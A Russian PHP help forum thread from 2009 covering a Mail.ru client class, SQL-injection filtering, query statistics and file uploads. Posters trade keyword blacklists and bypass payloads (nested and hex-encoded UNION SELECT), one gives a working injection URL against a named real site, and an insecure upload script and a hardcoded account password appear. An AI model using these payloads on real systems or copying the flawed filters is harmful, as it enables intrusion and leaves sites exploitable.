принимает значения:
false - пакет не содержит ожидаемых данных
array - ассоциативный массив с полученными от сервера данными ("MESSAGES.TOTAL", "MESSAGES.UNREAD", "MRIM.NICKNAME" и др.)
Вот код mra.php
<?php
$login='anty611@bk.ru';
$pass='1721';
include("class.mrim.phps");
$mra = new mrim;
$mra->connect() or die('Ошибка при подключении к серверу');
$mra->login($login, $pass) or die('auth');
//$mra->message_auth('anty611@bk.ru', 'pizda');
$mra->recevie_packet()
echo $mra->is_user_info();
?>
Я пытаюсь вывести ответ сервера (массив), но не выходит. Перебирал все, что только мог. Про классы читал, но про это не видно ничего...
Во-первых, функции надо передавать пакет. Во-вторых, функция вернет массив с данными ТОЛЬКО если этот пакет - пакет юзеринфо
$tmp=$mra->recevie_packet();
var_dump($mra->is_user_info($tmp));
function seltopic($topic) {
static $arr;
connection();
$query="SELECT theme.post,theme.id,theme.id_page, theme.title,user.name,user.email,
theme.user_id FROM theme,user where theme.id_page=$topic and user.id=theme.user_id";
$rezult = mysql_query($query);
if(!$rezult) echo mysql_error().exit();
if(mysql_num_rows($rezult) > 0 ) {
$cat = mysql_fetch_array($rezult);
$arr[] = $cat;
$query2="SELECT id_page,post from theme where parent=".$cat['id_page']."";
$rezult2 = mysql_query($query2);
while(($cat2 = mysql_fetch_array($rezult2)) !==false) {
seltopic($cat2['id_page']) ;
}
}
return $arr ;
}
Вопрос а как можна вернуть значение без
использование
статической переменой :confused:
DTW Вопрос - а где она используется? И какой смысл был, когда вы ее писали?
function seltopic($topic) {
static $arr;
connection();
$query="SELECT theme.post,theme.id,theme.id_page, theme.title,user.name,user.email,
theme.user_id FROM theme,user where theme.id_page=$topic and user.id=theme.user_id";
$rezult = mysql_query($query);
if(!$rezult) echo mysql_error().exit();
if(mysql_num_rows($rezult) > 0 ) {
$cat = mysql_fetch_array($rezult);
$arr[] = $cat;
$query2="SELECT id_page,post from theme where parent=".$cat['id_page']."";
$rezult2 = mysql_query($query2);
while(($cat2 = mysql_fetch_array($rezult2)) !==false) {
seltopic($cat2['id_page']) ;
}
}
return $arr ;
}
Вопрос а как можна вернуть значение без
использование
статической переменой :confused:
Собственно надо земенить
static $arr;
на
$arr = array();
ну или вообще убрать, все и без этого работать будет :cool:
Собственно надо земенить
static $arr;
на
$arr = array();
ну или вообще убрать, все и без этого работать будет :cool:
Во первых лучше все объявлять, тогда не будет ворненгов. И еще иногда является защитой от какеров
Anderson55
25.04.2009, 12:23
а что такое zend studio ?
Как проверить есть ли в строке какаето либо слово из массива вне зависимости от регистра букв
Тоесть надо сделать проверку на Селекты Юнионы и если есть то запустить их вырезание или замену+вызов функции err_log()
Pashkela
25.04.2009, 12:34
2 Byrger:
Это анриал, к сожалению, забудь
Как выбрать из Базы,самое часто встречающееся та слово?
Тоесть,есть таблицо, stats, нужно выбрать 5 самых популярных запросов.
Как проверить есть ли в строке какаето либо слово из массива вне зависимости от регистра букв
Тоесть надо сделать проверку на Селекты Юнионы и если есть то запустить их вырезание или замену+вызов функции err_log()
$array_search=array('union','select','group','orde r','limit');
$input="1+UnIoN+SeLeCt+1";
echo str_ireplace($array_search,'тра-та-та',$input,$count);
if($count>0) {
ну и здеся функция твоя err_log()
}
mailbrush
25.04.2009, 12:54
Byrger, не слушай Pashkely.
<?
$array=array('union','select','and','or');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
$string=preg_replace("#".$value."#i","",$string);
echo $string;
?>
Pashkela
25.04.2009, 12:57
Дебильные фильтры, всё обходится просто написа любую букву в union заглавной и т.д. (у mailbrush)
Дебильные фильтры, всё обходится просто написа любую букву в union заглавной и т.д. (у mailbrush)
"#".$value."#i"
mailbrush
25.04.2009, 13:07
Pashkela, если ты не в курсе, Символ "i" после закрывающего ограничителя шаблона означает регистронезависимый поиск.
Бургер, вот с функцией:
<?
$array=array('union','select','and','orx','\+');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
{
$pattern="#".$value."#i";
if(preg_match($pattern,$string))
{
$string=preg_replace($pattern,false,$string);
$function="echo '<h1>Попытка взлома!</h1>';"; //функкция
}
}
echo $string;
@eval($function);
?>
Pashkela, если ты не в курсе, Символ "i" после закрывающего ограничителя шаблона означает регистронезависимый поиск.
Бургер, вот с функцией:
<?
$array=array('union','select','and','orx','\+');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
{
$pattern="#".$value."#i";
if(preg_match($pattern,$string))
{
$string=preg_replace($pattern,false,$string);
$function="echo '<h1>Попытка взлома!</h1>';"; //функкция
}
}
echo $string;
@eval($function);
?>
Если не нужны сложные замены то предпочтительней использовать str_ireplace(str_replace в 4 ветки с извратом strtolower или strtoupper ), во вторых представь ситуацию preg_match($pattern,$string) вернет 0 замен и у нас будет возможность перезаписать $function (переменые переменых, Global Owerwrite и etc ) то мы получем шелл :)
Pashkela, если ты не в курсе, Символ "i" после закрывающего ограничителя шаблона означает регистронезависимый поиск.
Бургер, вот с функцией:
<?
$array=array('union','select','and','orx','\+');
$string="http://site.ru/script.php?id=1+union+select+1";
foreach($array as $value)
{
$pattern="#".$value."#i";
if(preg_match($pattern,$string))
{
$string=preg_replace($pattern,false,$string);
$function="echo '<h1>Попытка взлома!</h1>';"; //функкция
}
}
echo $string;
@eval($function);
?>
Вот вы балбесы))))))))))))) ухахахахахаха, вот такое представление о защите и делает возможным имение серверов с кучей сайтов.
$string="http://site.ru/script.php?id=1/**/ununionion/**/seselectlect/**/1";
ЧТОБЫ ОТФИЛЬТРОВАТЬ ВСЕ - НУЖНО НАПИСАТЬ СУПЕРЗДОРОВЫЙ КЛАСС ДЛЯ ПАРСИНГА SQL ВЫРАЖЕНИЙ, ЧТО ПРОСТО БЕССМЫСЛЕННО!!!
Pashkela
25.04.2009, 13:23
Двум умникам выше (кроме SQLHACK есс-но) - если говорят дебильные фильтры, значит так оно и есть:)
<?php
$array=array('union','select','and','or');
$string="http://site.ru/script.php?id=1+uniunionon+seselectlect+1";
foreach($array as $value)
$string=preg_replace("#".$value."#i","",$string);
echo $string;
?>
:)
ЧТОБЫ ОТФИЛЬТРОВАТЬ ВСЕ - НУЖНО НАПИСАТЬ СУПЕРЗДОРОВЫЙ КЛАСС ДЛЯ ПАРСИНГА SQL ВЫРАЖЕНИЙ, ЧТО ПРОСТО БЕССМЫСЛЕННО!!!
+, о чем я сразу и написал, не проще просто нормальный код писать и проверять и обрабатывать только переменные, а не " все возможные существующие варианты"
Ну куда мне до тебя супер умного, я же забыл что в MySQL есть оператор unтра-та-таion и seтра-та-таlect:
$array_search=array('union','select','group','orde r','limit');
$input="http://site.ru/script.php?id=1+uniunionon+seselectlect+1";
echo str_ireplace($array_search,'тра-та-та',$input,$count);
http://site.ru/script.php?id=1+uniтра-та-таon+seтра-та-таlect+1
Byrger, зачем так делать?
--Фильтрация для числовых значений:
$id = (int)$_GET['id'];
--Фильтрация для буквенных значений:
$text = mysql_escape_string(get_magic_quotes()?stripslashe s($_GET['text']):($_GET['text']));
+ не забывай обрамлять эти параметры в кавычки в запросе!!!
и никакой хакер не пройдет.
Вот вам функция , которой достаточно в 99% случаев.
function db_prepare($arg){
global $db_c;
if(is_numeric($arg)){
return "'".$arg."'";
}else if(is_string($arg)){
return "'".mysql_real_escape_string($arg, $db_c)."'";
}else{
return "''";
}
}
Где $db_c это переменная-ресурс коннекта к БД
ну или вообще убрать его
function db_prepare($arg){
if(is_numeric($arg)){
return "'".$arg."'";
}else if(is_string($arg)){
return "'".mysql_real_escape_string($arg."'";
}else{
return "''";
}
}
что такое 1% это внесение в БД файлов и всякой нестандартной всячины.
Перез использованием данной фунции должно быть установлено соединение с БД.
Запрос выглядит так
$query = "SELECT a,b,c,d FROM XXXX WHERE id=".db_prepare($id)." order by 1";
то есть параметр сам будет обрамлятся кавычками, в запросе их писать не надо.
Юзайте и будет вам счастье.
Ну куда мне до тебя супер умного, я же забыл что в MySQL есть оператор unтра-та-таion и seтра-та-таlect:
$array_search=array('union','select','group','orde r','limit');
$input="http://site.ru/script.php?id=1+uniunionon+seselectlect+1";
echo str_ireplace($array_search,'тра-та-та',$input,$count);
http://site.ru/script.php?id=1+uniтра-та-таon+seтра-та-таlect+1
ебт, ты всунь эту строку в скрипт и скрипт вырежет union и select в середине слов, и в БД пройдут чистые union select
ебт, ты всунь эту строку в скрипт и скрипт вырежет union и select в середине слов, и в БД пройдут чистые union select
здесь идет не удаление юнионов, а их замена на тратата
Оо нифига на 2 страницы растянули : )
Спасибо всем.
А как достать строку из браузера которую пользователь вводит?
имел ввиду функцию mailbrush'a
2 PaCo:
А твой пример с тратата тупо будет заплевывать как как Юзера ошибками, так и БД левыми не рабочими запросами
Действительно куда тебе до меня супер умного ))))
Pashkela
25.04.2009, 13:38
2 PaCo:
$input="http://site.ru/script.php?id=1+%75%6E%69%6F%6E+%73%65%6C%65%63%74 +1";
реальный пример:
http://www.cz-usa.com/product_detail.php?id=-7+%75%6E%69%6F%6E+%73%65%6C%65%63%74+1,2,3,4,versi on(),6/*
усовершенствуй код, и я его опять обойду, но уже за деньги:)
Оо нифига на 2 страницы растянули : )
Спасибо всем.
А как достать строку из праузера которую пользователь вводит?
echo htmlspecialchars($_SERVER['SCRIPT_URI']);
не забывай , если в базу заносишь фильтрацию на кавычки
На JavaScript:
alert(document.location.href);
SQLHACK, твой код тоже уязвим для мультибайтовых кодировок из-за ошибки в mysql_real_escape_string
жмяк (http://www.linux.org.ru/view-message.jsp?msgid=1431118)
2 PaCo:
$input="http://site.ru/script.php?id=1+%75%6E%69%6F%6E+%73%65%6C%65%63%74 +1";
реальный пример:
http://www.cz-usa.com/product_detail.php?id=-7+%75%6E%69%6F%6E+%73%65%6C%65%63%74+1,2,3,4,versi on(),6/*
усовершенствуй код, и я его опять обойду, но уже за деньги:)
Не хочу тебя растраивать но данные пришедшие из вне уже будут будут преобразованны в нормальный вид(попробуй зделать echo $_GET['id']) ), и если не делать повторного преобразования в коде то это НИЧЕГО НЕ ДАСТ, Byrger спросил как зделать так и так и я ответил, конечно же самый разумный вариант это проверка данный на соответсвия их типу прежде чем вставлять их в гвери.
Почему бы не использовать prepared statement'ы, как это делают во всех других языках? Они и выполняются быстрее и необходимость в какой-либо изощренной фильтрации отпадает.
Почему бы не использовать prepared statement'ы, как это делают во всех других языках? Они и выполняются быстрее и необходимость в какой-либо изощренной фильтрации отпадает.
Блин все уже давно написано, я вон функцию скинул простую и 100% надежную , Chaak собсввенно тоже самое написал но по другом, в конце концов посмотрите вы например как в WordPress сделано. \
Че вы в тысячный раз велосипед изобретаете.
Как выбрать из Базы,самое часто встречающееся та слово?
Тоесть,есть таблицо, stats, нужно выбрать 5 самых популярных запросов.
Люди,ответьте на цитату пожалуйста,и вот еще.
--
Как лучше подойти к системе "Самые частые запросы"? ТОесть,есть поле ввода,нужно вести статистику например по 5 самым популярным запросам. Как лучше оргонизовать? Помогите.
SQLHACK
В том то и дело, что велосипед - это ваши функции. А prepared statement'ы это проверненное и повсеместно используемое решение. Я мало знаком с php, поэтому врядли вам могу что-нибудь советовать. Но тем не менее в других языках не пишут какие то свои функции, а используют prepared statement'ы. Я не агитирую вас, просто задался вопросом зачем что-то свое писать, если есть готовое на уровне языка причем?
Хорошо со SQL-inj разобрались... а как защититься от заливки шеллов?
Так вышледит скрипт заливающий файлы у меня...
$uploaddir = '../images/works/minipic/';
$uploadfile = $uploaddir.basename($_FILES['minipic']['name']);
if (copy($_FILES['minipic']['tmp_name'], $uploadfile)){
}else { echo "<h3>Ошибка! Не удалось загрузить файл на сервер!</h3>"; exit; }
Как видите никак не экранируется...
Как видите никак не экранируется...
кто то мешает экранировать?
Подскажите как сделать, чтобы перед записью ip адреса в БД, сначало была проверка: если такой ip в столбце уже есть, то запись не делалась.
<?
$ip = $_SERVER['REMOTE_ADDR'];
include("connect.php");
$link = mysqli_connect(SERVER, USERNAME, PASSWORD, DBNAME);
$result=mysqli_query($link,
"INSERT INTO user (ip) VALUES ('$ip')");
mysqli_close($link);
?>
проверяй миме-тупе, и расширение.
Ну ктото все таки поможет?)
Повторяюсь:
Как лучше подойти с системе статистики по запросам? Как их хранить?
Как проще всего вытащить самые популярные запросы?(
mailbrush
25.04.2009, 16:12
m0Hze, ты о счетчиаках?
Есть поле поиска.
В него вбивают запросы,и получают ответы.
ТАк вот,нужно вести статистику запросов,с легким выводом самых частых запросов,например 5.
И вот еще, какую кодировку нужно выставить в mysql, чтобы она корректно отображала руские символы? Чтото такой писец получился с символами?
erihtoney
25.04.2009, 16:37
2m0Hze
Добавьте численное поле[Queries],при каждом запросе проверяйте,есть ли данный запрос, если есть прибавляйте к этому значению 1[Queries]
По поводу кодировки:
Пользователь вводит запрос в произвольной кодировке, в зависимости от браузера,сервер преобразовывает и передает mysql=> такая же, как и у сервера,и интерпретатора(chcp1251)
Вот именно в MySQL кодировка краказяблями,странно,раньш е все работало отлично :(
Решил делать както так:
$query = 'soad';
$check = mysql_query("SELECT * FROM stats WHERE name='$query'");
if(mysql_num_rows($check) > 0){
$assoc = mysql_fetch_assoc($check);
$update = mysql_query("UPDATE stats SET num='".$assoc['num']++."' WHERE id='".$assoc['id']."'");
}else{
$add = mysql_query("INSERT INTO stats VALUE(NULL,'".$query."','1')");
}
КТо подскажет посчет синтаксиса UPDATE, пользуюсь первый раз )
Нашел свою ошибку,теперь собственно вопрос.
Как вытащить самые большие значения из бд?
Предположим есть в столбце num значения:
1,5,7,3,8,12.
Нужно вытащить 3 самых больших.ПОнятно что LIMIT, но вот что дальше?(
Подскажите как сделать, чтобы перед записью ip адреса в БД, сначало была проверка: если такой ip в столбце уже есть, то запись не делалась.
<?
$ip = $_SERVER['REMOTE_ADDR'];
include("connect.php");
$link = mysqli_connect(SERVER, USERNAME, PASSWORD, DBNAME);
$result=mysqli_query($link,
"INSERT INTO user (ip) VALUES ('$ip')");
mysqli_close($link);
?>
Придай полю ip св-во unique, и просто добавляй в таблицу, ненужное будет отсеиваться
erihtoney
25.04.2009, 17:00
2m0Hze
desc
2m0Hze
desc
Хотелось бы поточнее с примером,потому что документация мало чем помогает мне :(
m0Hze Во-первых, есть соседняя тема с вопросами про MySQL. Во-вторых - не надо создавать лишнюю таблицу. В-третьих, запрос будет такой:
SELECT `zapros`, count(*) AS `cnt` FROM `table` GROUP BY `ipaddress` ORDER BY `cnt` DESC LIMIT 10;
Итого - zapros - имя столбца, через запятую можно еще добавить.
count(*) as `cnt` - количество строк
table - имя таблицы
GROUP BY `ipaddress` - по какому столбцу объединять
LIMIT 10 - 10 строк в выводе будет
erihtoney
25.04.2009, 17:23
SELECT column,...
[FROM table WHERE definition]
[ORDER BY col_name [ASC | DESC], ...]
[LIMIT [offset], rows]
Ключевое слово ORDER BY сортирует строки запросов по столбцу col_name в прямом (ASC) или обратном порядке (DESC).
Для того чтобы сортировка производилась в обратном порядке, в утверждении ORDER BY к имени заданного столбца, в котором производится сортировка, следует добавить ключевое слово DESC (убывающий). По умолчанию принята сортировка в возрастающем порядке, который можно задать явно при помощи ключевого слова ASC.
Пример:
SELECT * FROM ORDER BY `Queries` DESC LIMIT 0 , 5
m0Hze Во-первых, есть соседняя тема с вопросами про MySQL. Во-вторых - не надо создавать лишнюю таблицу. В-третьих, запрос будет такой:
SELECT `zapros`, count(*) AS `cnt` FROM `table` GROUP BY `ipaddress` ORDER BY `cnt` DESC LIMIT 10;
Итого - zapros - имя столбца, через запятую можно еще добавить.
count(*) as `cnt` - количество строк
table - имя таблицы
GROUP BY `ipaddress` - по какому столбцу объединять
LIMIT 10 - 10 строк в выводе будет
Почти ничего не понял :) SQL - для меня дремучий лес :(
В общем,вот так сейчас обстоят дела.
id name num
2 soad 7
3 fsoad 9
4 Авария 11
5 dff 39
5 Дебил 21
Нужно вытащить по столбу NUM 3 значения,самых больших.
Воть,я чтото с твоей конструкцией помудил,но ничего толкового невышло :(
проверяй миме-тупе, и расширение.
А какже защита от всяких нулл байтов?
m0Hze пффф, я-то думал хоть какой то лог у вас есть (типа кто, когда, что), а вы просто количество запросов увеличиваете :-\ Тогда так
SELECT id,name,num FROM table ORDER BY num DESC LIMIT 5
m0Hze пффф, я-то думал хоть какой то лог у вас есть (типа кто, когда, что), а вы просто количество запросов увеличиваете :-\ Тогда так
select id,name,num order by num desc limit 5
Со временем,все появиться.Просто,до этого я с мускулом работал на уровне регистрации.,болга,поо мелочи в ощем.А тут.... )
Удивительное дело,немного поправил ваш запрос,и вот что получаю:
Запрос:
$query = mysql_query("SELECT id,name,num FROM stats ORDER BY num DESC LIMIT 3");
Ответ в fetch_array:
Array ( [0] => 5 [id] => 5 [1] => dff [name] => dff [2] => 39 [num] => 39 )
тоесть,он вытаскивает самое большое значение Ж( но 1
m0Hze Учите пхп, и что делает функция ,mysql_fetch_array
А что нетак? Оо
mysql_fetch_array — Обрабатывает ряд результата запроса, возвращая ассоциативный массив, численный массив или оба.
В общем,на данный момент код имеет такую вот форму:
$DB['host'] = 'localhost';
$DB['user'] = 'root';
$DB['pass']= '';
$DB['base'] = 'base';
$connect = mysql_connect($DB['host'],$DB['user'],$DB['pass']) or die(':()');
mysql_select_db($DB['base'],$connect) or die(':()');
$query = mysql_query("SELECT * FROM `stats`ORDER BY `num` DESC LIMIT 0,3");
$array = mysql_fetch_array($query);
print_r($array);
И я получаю :(
Array ( [0] => 5 [id] => 5 [1] => dff [name] => dff [2] => 39 [num] => 39 )
Ребят помогите с регулярным выражением..
надо проверить на совпадение.
будет приходить ГЕТ с такими данными:
1-2,3-2,1-1 или 2-2,1-1
то есть кол-во меняться будет постоянно.
^\d{1}-\d{1}
вот я не знаю как в цикл с , можно было бы запустить? О.о
m0Hze Потому что гладиолус.
Returns an array that corresponds to the fetched row and moves the internal data pointer ahead.
while ($row = mysql_fetch_array($query)) print_r($row);
Grema preg_match_all('~(\d)\-(\d)~',$_GET['c'],$result);
var_dump($result);
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot